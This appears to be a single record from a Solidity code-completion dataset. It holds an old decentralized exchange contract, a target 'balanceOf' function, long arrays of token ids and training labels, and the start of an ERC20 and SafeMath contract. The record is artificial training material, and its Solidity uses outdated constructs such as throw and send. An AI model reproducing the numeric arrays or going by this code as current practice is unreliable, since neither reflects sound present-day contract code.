address public fistFuturesContract; // 0x if there are no futures contracts set yet
uint256 public inactivityReleasePeriod; // period in blocks before a user can use the withdraw() function
mapping (bytes32 => bool) public withdrawn; // mapping of withdraw requests, makes sure the same withdrawal is not executed twice
uint256 public makerFee; // maker fee in percent expressed as a fraction of 1 ether (0.1 ETH = 10%)
uint256 public takerFee; // taker fee in percent expressed as a fraction of 1 ether (0.1 ETH = 10%)
enum Errors {
INVLID_PRICE, // Order prices don't match
INVLID_SIGNATURE, // Signature is invalid
TOKENS_DONT_MATCH, // Maker/taker tokens don't match
ORDER_ALREADY_FILLED, // Order was already filled
GAS_TOO_HIGH // Too high gas fee
}
// Trade event fired when a trade is executed
event Trade(
address takerTokenBuy, uint256 takerAmountBuy,
address takerTokenSell, uint256 takerAmountSell,
address maker, address indexed taker,
uint256 makerFee, uint256 takerFee,
uint256 makerAmountTaken, uint256 takerAmountTaken,
bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash
);
// Deposit event fired when a deposit took place
event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance);
// Withdraw event fired when a withdrawal was executed
event Withdraw(address indexed token, address indexed user, uint256 amount, uint256 balance, uint256 withdrawFee);
event WithdrawTo(address indexed token, address indexed to, address indexed from, uint256 amount, uint256 balance, uint256 withdrawFee);
// Fee change event
event FeeChange(uint256 indexed makerFee, uint256 indexed takerFee);
// Log event, logs errors in contract execution (used for debugging)
event LogError(uint8 indexed errorId, bytes32 indexed makerOrderHash, bytes32 indexed takerOrderHash);
event LogUint(uint8 id, uint256 value);
event LogBool(uint8 id, bool value);
event LogAddress(uint8 id, address value);
// Change inactivity release period event
event InactivityReleasePeriodChange(uint256 value);
// Order cancelation event
event CancelOrder(
bytes32 indexed cancelHash,
bytes32 indexed orderHash,
address indexed user,
address tokenSell,
uint256 amountSell,
uint256 cancelFee
);
// Sets the inactivity period before a user can withdraw funds manually
function setInactivityReleasePeriod(uint256 expiry) onlyOwner returns (bool success) {
if (expiry > 1000000) throw;
inactivityReleasePeriod = expiry;
emit InactivityReleasePeriodChange(expiry);
return true;
}
// Constructor function, initializes the contract and sets the core variables
function Exchange(address feeAccount_, uint256 makerFee_, uint256 takerFee_, uint256 inactivityReleasePeriod_) {
owner = msg.sender;
feeAccount = feeAccount_;
inactivityReleasePeriod = inactivityReleasePeriod_;
makerFee = makerFee_;
takerFee = takerFee_;
}
// Changes the fees
function setFees(uint256 makerFee_, uint256 takerFee_) onlyOwner {
require(makerFee_ < 10 finney && takerFee_ < 10 finney); // The fees cannot be set higher then 1%
makerFee = makerFee_;
takerFee = takerFee_;
emit FeeChange(makerFee, takerFee);
}
function updateBalanceAndReserve (address token, address user, uint256 balance, uint256 reserve) private
{
uint256 character = uint256(balance);
character |= reserve<<128;
balances[token][user] = character;
}
function updateBalance (address token, address user, uint256 balance) private returns (bool)
{
uint256 character = uint256(balance);
character |= getReserve(token, user)<<128;
balances[token][user] = character;
return true;
}
function updateReserve (address token, address user, uint256 reserve) private
{
uint256 character = uint256(balanceOf(token, user));
character |= reserve<<128;
balances[token][user] = character;
}
function decodeBalanceAndReserve (address token, address user) returns (uint256[2])
{
uint256 character = balances[token][user];
uint256 balance = uint256(uint128(character));
uint256 reserve = uint256(uint128(character>>128));
return [balance, reserve];
}
function futuresContractAllowed (address futuresContract, address user) returns (bool)
{
if (fistFuturesContract == futuresContract) return true;
if (userAllowedFuturesContracts[user][futuresContract] == true) return true;
if (futuresContractsAddedBlock[futuresContract] < userFirstDeposits[user]) return true;
return false;
}
// Returns the balance of a specific token for a specific user
function balanceOf(address token, address user) view returns (uint256) {
//return tokens[token][user];
return decodeBalanceAndReserve(token, user)[0];
}
// Returns the reserved amound of token for user
function getReserve(address token, address user) public view returns (uint256) {
//return reserve[token][user];
return decodeBalanceAndReserve(token, user)[1];
}
// Sets reserved amount for specific token and user (can only be called by futures contract)
function setReserve(address token, address user, uint256 amount) onlyFuturesContract returns (bool success) {
if (!futuresContractAllowed(msg.sender, user)) throw;
if (availableBalanceOf(token, user) < amount) throw;
updateReserve(token, user, amount);
return true;
}
// Updates user balance (only can be used by futures contract)
function setBalance(address token, address user, uint256 amount) onlyFuturesContract returns (bool success) {
if (!futuresContractAllowed(msg.sender, user)) throw;
updateBalance(token, user, amount);
return true;
}
function subBalanceAddReserve(address token, address user, uint256 subBalance, uint256 addReserve) onlyFuturesContract returns (bool)
{
if (!futuresContractAllowed(msg.sender, user)) throw;
updateBalanceAndReserve(token, user, safeSub(balanceOf(token, user), subBalance), safeAdd(getReserve(token, user), addReserve));
}
function addBalanceSubReserve(address token, address user, uint256 addBalance, uint256 subReserve) onlyFuturesContract returns (bool)
{
if (!futuresContractAllowed(msg.sender, user)) throw;
updateBalanceAndReserve(token, user, safeAdd(balanceOf(token, user), addBalance), safeSub(getReserve(token, user), subReserve));
}
function subBalanceSubReserve(address token, address user, uint256 subBalance, uint256 subReserve) onlyFuturesContract returns (bool)
{
if (!futuresContractAllowed(msg.sender, user)) throw;
updateBalanceAndReserve(token, user, safeSub(balanceOf(token, user), subBalance), safeSub(getReserve(token, user), subReserve));
}
// Returns the available balance of a specific token for a specific user
function availableBalanceOf(address token, address user) view returns (uint256) {
return safeSub(balanceOf(token, user), getReserve(token, user));
}
// Returns the inactivity release perios
function getInactivityReleasePeriod() view returns (uint256)
{
return inactivityReleasePeriod;
}
// Increases the user balance
function addBalance(address token, address user, uint256 amount) private
{
updateBalance(token, user, safeAdd(balanceOf(token, user), amount));
}
// Decreases user balance
function subBalance(address token, address user, uint256 amount) private
{
if (availableBalanceOf(token, user) < amount) throw;
updateBalance(token, user, safeSub(balanceOf(token, user), amount));
}
// Deposit ETH to contract
function deposit() payable {
//tokens[address(0)][msg.sender] = safeAdd(tokens[address(0)][msg.sender], msg.value); // adds the deposited amount to user balance
addBalance(address(0), msg.sender, msg.value); // adds the deposited amount to user balance
if (userFirstDeposits[msg.sender] == 0) userFirstDeposits[msg.sender] = block.number;
lastActiveTransaction[msg.sender] = block.number; // sets the last activity block for the user
emit Deposit(address(0), msg.sender, msg.value, balanceOf(address(0), msg.sender)); // fires the deposit event
}
// Deposit token to contract
function depositToken(address token, uint128 amount) {
//tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); // adds the deposited amount to user balance
//if (amount != uint128(amount) || safeAdd(amount, balanceOf(token, msg.sender)) != uint128(amount)) throw;
addBalance(token, msg.sender, amount); // adds the deposited amount to user balance
if (userFirstDeposits[msg.sender] == 0) userFirstDeposits[msg.sender] = block.number;
lastActiveTransaction[msg.sender] = block.number; // sets the last activity block for the user
if (!Token(token).transferFrom(msg.sender, this, amount)) throw; // attempts to transfer the token to this contract, if fails throws an error
emit Deposit(token, msg.sender, amount, balanceOf(token, msg.sender)); // fires the deposit event
}
function withdraw(address token, uint256 amount) returns (bool success) {
//if (safeSub(block.number, lastActiveTransaction[msg.sender]) < inactivityReleasePeriod) throw; // checks if the inactivity period has passed
//if (tokens[token][msg.sender] < amount) throw; // checks that user has enough balance
if (availableBalanceOf(token, msg.sender) < amount) throw;
//tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
subBalance(token, msg.sender, amount); // subtracts the withdrawed amount from user balance
if (token == address(0)) { // checks if withdrawal is a token or ETH, ETH has address 0x00000...
if (!msg.sender.send(amount)) throw; // send ETH
} else {
if (!Token(token).transfer(msg.sender, amount)) throw; // Send token
}
emit Withdraw(token, msg.sender, amount, balanceOf(token, msg.sender), 0); // fires the Withdraw event
}
function userAllowFuturesContract(address futuresContract)
{
if (!futuresContracts[futuresContract]) throw;
userAllowedFuturesContracts[msg.sender][futuresContract] = true;
}
// Withdrawal function used by the server to execute withdrawals
function adminWithdraw(
address token, // the address of the token to be withdrawn
uint256 amount, // the amount to be withdrawn
address user, // address of the user
uint256 nonce, // nonce to make the request unique
uint8 v, // part of user signature
bytes32 r, // part of user signature
bytes32 s, // part of user signature
uint256 feeWithdrawal // the transaction gas fee that will be deducted from the user balance
) onlyAdmin returns (bool success) {
bytes32 hash = keccak256(this, token, amount, user, nonce); // creates the hash for the withdrawal request
if (withdrawn[hash]) throw; // checks if the withdrawal was already executed, if true, throws an error
withdrawn[hash] = true; // sets the withdrawal as executed
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) != user) throw; // checks that the provided signature is valid
if (feeWithdrawal > 50 finney) feeWithdrawal = 50 finney; // checks that the gas fee is not higher than 0.05 ETH
//if (tokens[token][user] < amount) throw; // checks that user has enough balance
if (availableBalanceOf(token, user) < amount) throw; // checks that user has enough balance
//tokens[token][user] = safeSub(tokens[token][user], amount); // subtracts the withdrawal amount from the user balance
subBalance(token, user, amount); // subtracts the withdrawal amount from the user balance
//tokens[address(0)][user] = safeSub(tokens[address(0x0)][user], feeWithdrawal); // subtracts the gas fee from the user ETH balance
subBalance(address(0), user, feeWithdrawal); // subtracts the gas fee from the user ETH balance
//tokens[address(0)][feeAccount] = safeAdd(tokens[address(0)][feeAccount], feeWithdrawal); // moves the gas fee to the feeAccount
addBalance(address(0), feeAccount, feeWithdrawal); // moves the gas fee to the feeAccount
if (token == address(0)) { // checks if the withdrawal is in ETH or Tokens
if (!user.send(amount)) throw; // sends ETH
} else {
if (!Token(token).transfer(user, amount)) throw; // sends tokens
}
lastActiveTransaction[user] = block.number; // sets last user activity block
emit Withdraw(token, user, amount, balanceOf(token, user), feeWithdrawal); // fires the withdraw event
}
function batchAdminWithdraw(
address[] token, // the address of the token to be withdrawn
uint256[] amount, // the amount to be withdrawn
address[] user, // address of the user
uint256[] nonce, // nonce to make the request unique
uint8[] v, // part of user signature
bytes32[] r, // part of user signature
bytes32[] s, // part of user signature
uint256[] feeWithdrawal // the transaction gas fee that will be deducted from the user balance
) onlyAdmin
{
for (uint i = 0; i < amount.length; i++) {
adminWithdraw(
token[i],
amount[i],
user[i],
nonce[i],
v[i],
r[i],
s[i],
feeWithdrawal[i]
);
}
}
function getMakerTakerBalances(address token, address maker, address taker) view returns (uint256[4])
{
return [
balanceOf(token, maker),
balanceOf(token, taker),
getReserve(token, maker),
getReserve(token, taker)
];
}
// Structure that holds order values, used inside the trade() function
struct OrderPair {
uint256 makerAmountBuy; // amount being bought by the maker
uint256 makerAmountSell; // amount being sold by the maker
uint256 makerNonce; // maker order nonce, makes the order unique
uint256 takerAmountBuy; // amount being bought by the taker
uint256 takerAmountSell; // amount being sold by the taker
uint256 takerNonce; // taker order nonce
uint256 takerGasFee; // taker gas fee, taker pays the gas
uint256 takerIsBuying; // true/false taker is the buyer
address makerTokenBuy; // token bought by the maker
address makerTokenSell; // token sold by the maker
address maker; // address of the maker
address takerTokenBuy; // token bought by the taker
address takerTokenSell; // token sold by the taker
address taker; // address of the taker
bytes32 makerOrderHash; // hash of the maker order
bytes32 takerOrderHash; // has of the taker order
}
// Structure that holds trade values, used inside the trade() function
struct TradeValues {
uint256 qty; // amount to be trade
uint256 invQty; // amount to be traded in the opposite token
uint256 makerAmountTaken; // final amount taken by the maker
uint256 takerAmountTaken; // final amount taken by the taker
}
// Trades balances between user accounts
function trade(
uint8[2] v,
bytes32[4] rs,
uint256[8] tradeValues,
address[6] tradeAddresses
) onlyAdmin returns (uint filledTakerTokenAmount)
{
/* tradeValues
[0] makerAmountBuy
[1] makerAmountSell
[2] makerNonce
[3] takerAmountBuy
[4] takerAmountSell
[5] takerNonce
[6] takerGasFee
[7] takerIsBuying
tradeAddresses
[0] makerTokenBuy
[1] makerTokenSell
[2] maker
[3] takerTokenBuy
[4] takerTokenSell
[5] taker
*/
OrderPair memory t = OrderPair({
makerAmountBuy : tradeValues[0],
makerAmountSell : tradeValues[1],
makerNonce : tradeValues[2],
takerAmountBuy : tradeValues[3],
takerAmountSell : tradeValues[4],
takerNonce : tradeValues[5],
takerGasFee : tradeValues[6],
takerIsBuying : tradeValues[7],
makerTokenBuy : tradeAddresses[0],
makerTokenSell : tradeAddresses[1],
maker : tradeAddresses[2],
takerTokenBuy : tradeAddresses[3],
takerTokenSell : tradeAddresses[4],
taker : tradeAddresses[5],
// tokenBuy amountBuy tokenSell amountSell nonce user
makerOrderHash : keccak256(this, tradeAddresses[0], tradeValues[0], tradeAddresses[1], tradeValues[1], tradeValues[2], tradeAddresses[2]),
takerOrderHash : keccak256(this, tradeAddresses[3], tradeValues[3], tradeAddresses[4], tradeValues[4], tradeValues[5], tradeAddresses[5])
});
// Checks the signature for the maker order
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.makerOrderHash), v[0], rs[0], rs[1]) != t.maker)
{
emit LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// Checks the signature for the taker order
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.takerOrderHash), v[1], rs[2], rs[3]) != t.taker)
{
emit LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// Checks that orders trade the right tokens
if (t.makerTokenBuy != t.takerTokenSell || t.makerTokenSell != t.takerTokenBuy)
{
emit LogError(uint8(Errors.TOKENS_DONT_MATCH), t.makerOrderHash, t.takerOrderHash);
return 0;
} // tokens don't match
// Cheks that gas fee is not higher than 10%
if (t.takerGasFee > 100 finney)
{
emit LogError(uint8(Errors.GAS_TOO_HIGH), t.makerOrderHash, t.takerOrderHash);
return 0;
} // takerGasFee too high
// Checks that the prices match.
// Taker always pays the maker price. This part checks that the taker price is as good or better than the maker price
if (!(
(t.takerIsBuying == 0 && safeMul(t.makerAmountSell, 1 ether) / t.makerAmountBuy >= safeMul(t.takerAmountBuy, 1 ether) / t.takerAmountSell)
||
(t.takerIsBuying > 0 && safeMul(t.makerAmountBuy, 1 ether) / t.makerAmountSell <= safeMul(t.takerAmountSell, 1 ether) / t.takerAmountBuy)
))
{
emit LogError(uint8(Errors.INVLID_PRICE), t.makerOrderHash, t.takerOrderHash);
return 0; // prices don't match
}
// Initializing trade values structure
TradeValues memory tv = TradeValues({
qty : 0,
invQty : 0,
makerAmountTaken : 0,
takerAmountTaken : 0
});
// maker buy, taker sell
if (t.takerIsBuying == 0)
{
// traded quantity is the smallest quantity between the maker and the taker, takes into account amounts already filled on the orders
tv.qty = min(safeSub(t.makerAmountBuy, orderFills[t.makerOrderHash]), safeSub(t.takerAmountSell, safeMul(orderFills[t.takerOrderHash], t.takerAmountSell) / t.takerAmountBuy));
if (tv.qty == 0)
{
// order was already filled
emit LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// the traded quantity in opposite token terms
tv.invQty = safeMul(tv.qty, t.makerAmountSell) / t.makerAmountBuy;
// take fee from Token balance
tv.makerAmountTaken = safeSub(tv.qty, safeMul(tv.qty, makerFee) / (1 ether)); // net amount received by maker, excludes maker fee
//tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.qty, makerFee) / (1 ether)); // add maker fee to feeAccount
addBalance(t.makerTokenBuy, feeAccount, safeMul(tv.qty, makerFee) / (1 ether)); // add maker fee to feeAccount
// take fee from Token balance
tv.takerAmountTaken = safeSub(safeSub(tv.invQty, safeMul(tv.invQty, takerFee) / (1 ether)), safeMul(tv.invQty, t.takerGasFee) / (1 ether)); // amount taken from taker minus taker fee
//tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.invQty, takerFee) / (1 ether), safeMul(tv.invQty, t.takerGasFee) / (1 ether))); // add taker fee to feeAccount
addBalance(t.takerTokenBuy, feeAccount, safeAdd(safeMul(tv.invQty, takerFee) / (1 ether), safeMul(tv.invQty, t.takerGasFee) / (1 ether))); // add taker fee to feeAccount
//tokens[t.makerTokenSell][t.maker] = safeSub(tokens[t.makerTokenSell][t.maker], tv.invQty); // subtract sold token amount from maker balance
subBalance(t.makerTokenSell, t.maker, tv.invQty); // subtract sold token amount from maker balance
//tokens[t.makerTokenBuy][t.maker] = safeAdd(tokens[t.makerTokenBuy][t.maker], tv.makerAmountTaken); // add bought token amount to maker
addBalance(t.makerTokenBuy, t.maker, tv.makerAmountTaken); // add bought token amount to maker
//tokens[t.makerTokenBuy][tv.makerReferrer] = safeAdd(tokens[t.makerTokenBuy][tv.makerReferrer], safeMul(tv.qty, makerAffiliateFee) / (1 ether)); // add affiliate commission to maker affiliate balance
//tokens[t.takerTokenSell][t.taker] = safeSub(tokens[t.takerTokenSell][t.taker], tv.qty); // subtract the sold token amount from taker
subBalance(t.takerTokenSell, t.taker, tv.qty); // subtract the sold token amount from taker
//tokens[t.takerTokenBuy][t.taker] = safeAdd(tokens[t.takerTokenBuy][t.taker], tv.takerAmountTaken); // amount received by taker, excludes taker fee
//tokens[t.takerTokenBuy][tv.takerReferrer] = safeAdd(tokens[t.takerTokenBuy][tv.takerReferrer], safeMul(tv.invQty, takerAffiliateFee) / (1 ether)); // add affiliate commission to taker affiliate balance
addBalance(t.takerTokenBuy, t.taker, tv.takerAmountTaken); // amount received by taker, excludes taker fee
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.qty); // increase the maker order filled amount
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], safeMul(tv.qty, t.takerAmountBuy) / t.takerAmountSell); // increase the taker order filled amount
lastActiveTransaction[t.maker] = block.number; // set last activity block number for maker
lastActiveTransaction[t.taker] = block.number; // set last activity block number for taker
// fire Trade event
emit Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
// maker sell, taker buy
else
{
// traded quantity is the smallest quantity between the maker and the taker, takes into account amounts already filled on the orders
tv.qty = min(safeSub(t.makerAmountSell, safeMul(orderFills[t.makerOrderHash], t.makerAmountSell) / t.makerAmountBuy), safeSub(t.takerAmountBuy, orderFills[t.takerOrderHash]));
if (tv.qty == 0)
{
// order was already filled
emit LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
// the traded quantity in opposite token terms
tv.invQty = safeMul(tv.qty, t.makerAmountBuy) / t.makerAmountSell;
// take fee from ETH balance
tv.makerAmountTaken = safeSub(tv.invQty, safeMul(tv.invQty, makerFee) / (1 ether)); // net amount received by maker, excludes maker fee
//tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.invQty, makerFee) / (1 ether)); // add maker fee to feeAccount
addBalance(t.makerTokenBuy, feeAccount, safeMul(tv.invQty, makerFee) / (1 ether)); // add maker fee to feeAccount
// process fees for taker
// take fee from ETH balance
tv.takerAmountTaken = safeSub(safeSub(tv.qty, safeMul(tv.qty, takerFee) / (1 ether)), safeMul(tv.qty, t.takerGasFee) / (1 ether)); // amount taken from taker minus taker fee
//tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.qty, takerFee) / (1 ether), safeMul(tv.qty, t.takerGasFee) / (1 ether))); // add taker fee to feeAccount
addBalance(t.takerTokenBuy, feeAccount, safeAdd(safeMul(tv.qty, takerFee) / (1 ether), safeMul(tv.qty, t.takerGasFee) / (1 ether))); // add taker fee to feeAccount
//tokens[t.makerTokenSell][t.maker] = safeSub(tokens[t.makerTokenSell][t.maker], tv.qty); // subtract sold token amount from maker balance
subBalance(t.makerTokenSell, t.maker, tv.qty); // subtract sold token amount from maker balance
//tv.makerAmountTaken = safeSub(tv.invQty, safeMul(tv.invQty, makerFee) / (1 ether)); // net amount received by maker, excludes maker fee
//tokens[t.makerTokenBuy][t.maker] = safeAdd(tokens[t.makerTokenBuy][t.maker], tv.makerAmountTaken); // add bought token amount to maker
addBalance(t.makerTokenBuy, t.maker, tv.makerAmountTaken); // add bought token amount to maker
//tokens[t.makerTokenBuy][tv.makerReferrer] = safeAdd(tokens[t.makerTokenBuy][tv.makerReferrer], safeMul(tv.invQty, makerAffiliateFee) / (1 ether)); // add affiliate commission to maker affiliate balance
//tokens[t.takerTokenSell][t.taker] = safeSub(tokens[t.takerTokenSell][t.taker], tv.invQty); // subtract the sold token amount from taker
subBalance(t.takerTokenSell, t.taker, tv.invQty);
//tv.takerAmountTaken = safeSub(safeSub(tv.qty, safeMul(tv.qty, takerFee) / (1 ether)), safeMul(tv.qty, t.takerGasFee) / (1 ether)); // amount taken from taker minus taker fee
//tokens[t.takerTokenBuy][t.taker] = safeAdd(tokens[t.takerTokenBuy][t.taker], tv.takerAmountTaken); // amount received by taker, excludes taker fee
addBalance(t.takerTokenBuy, t.taker, tv.takerAmountTaken); // amount received by taker, excludes taker fee
//tokens[t.takerTokenBuy][tv.takerReferrer] = safeAdd(tokens[t.takerTokenBuy][tv.takerReferrer], safeMul(tv.qty, takerAffiliateFee) / (1 ether)); // add affiliate commission to taker affiliate balance
//tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.invQty, safeSub(makerFee, makerAffiliateFee)) / (1 ether)); // add maker fee excluding affiliate commission to feeAccount
//tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.qty, safeSub(takerFee, takerAffiliateFee)) / (1 ether), safeMul(tv.qty, t.takerGasFee) / (1 ether))); // add taker fee excluding affiliate commission to feeAccount
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.invQty); // increase the maker order filled amount
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], tv.qty); // increase the taker order filled amount
lastActiveTransaction[t.maker] = block.number; // set last activity block number for maker
lastActiveTransaction[t.taker] = block.number; // set last activity block number for taker
// fire Trade event
emit Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
}
// Executes multiple trades in one transaction, saves gas fees
function batchOrderTrade(
uint8[2][] v,
bytes32[4][] rs,
uint256[8][] tradeValues,
address[6][] tradeAddresses
) onlyAdmin
{
for (uint i = 0; i < tradeAddresses.length; i++) {
trade(
v[i],
rs[i],
tradeValues[i],
tradeAddresses[i]
);
}
}
// Cancels order by setting amount filled to toal order amount
function cancelOrder(
/*
[0] orderV
[1] cancelV
*/
uint8[2] v,
/*
[0] orderR
[1] orderS
[2] cancelR
[3] cancelS
*/
bytes32[4] rs,
/*
[0] orderAmountBuy
[1] orderAmountSell
[2] orderNonce
[3] cancelNonce
[4] cancelFee
*/
uint256[5] cancelValues,
/*
[0] orderTokenBuy
[1] orderTokenSell
[2] orderUser
[3] cancelUser
*/
address[4] cancelAddresses
) onlyAdmin {
// Order values should be valid and signed by order owner
bytes32 orderHash = keccak256(
this, cancelAddresses[0], cancelValues[0], cancelAddresses[1],
cancelValues[1], cancelValues[2], cancelAddresses[2]
);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", orderHash), v[0], rs[0], rs[1]) == cancelAddresses[2]);
// Cancel action should be signed by order owner
bytes32 cancelHash = keccak256(this, orderHash, cancelAddresses[3], cancelValues[3]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", cancelHash), v[1], rs[2], rs[3]) == cancelAddresses[3]);
// Order owner should be the same as cancel's initiator
require(cancelAddresses[2] == cancelAddresses[3]);
// Do not allow to cancel already canceled or filled orders
require(orderFills[orderHash] != cancelValues[0]);
// Cancel gas fee cannot exceed 0.05 ETh
if (cancelValues[4] > 50 finney) {
cancelValues[4] = 50 finney;
}
// Take cancel fee
// This operation throws an error if fee amount is greater than the user balance
//tokens[address(0)][cancelAddresses[3]] = safeSub(tokens[address(0)][cancelAddresses[3]], cancelValues[4]);
subBalance(address(0), cancelAddresses[3], cancelValues[4]);
// Cancel order by setting amount filled to total order value, i.e. making the order filled
orderFills[orderHash] = cancelValues[0];
// Fire cancel order event
emit CancelOrder(cancelHash, orderHash, cancelAddresses[3], cancelAddresses[1], cancelValues[1], cancelValues[4]);
}
// Returns the smaller of two values
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
} | Returns the balance of a specific token for a specific userreturn tokens[token][user]; | function balanceOf(address token, address user) view returns (uint256) {
return decodeBalanceAndReserve(token, user)[0];
}
| 2,554,735 | [
1,
1356,
326,
11013,
434,
279,
2923,
1147,
364,
279,
2923,
729,
2463,
2430,
63,
2316,
6362,
1355,
15533,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11013,
951,
12,
2867,
1147,
16,
1758,
729,
13,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
2495,
13937,
1876,
607,
6527,
12,
2316,
16,
729,
25146,
20,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.4.13;
contract ERC20 {
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
//Safe math
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract StandardToken is ERC20, SafeMath {
/* Token supply got increased and a new owner received these tokens */
event Minted(address receiver, uint amount);
/* Actual balances of token holders */
mapping(address => uint) balances;
/* approve() allowances */
mapping (address => mapping (address => uint)) allowed;
/* Interface declaration */
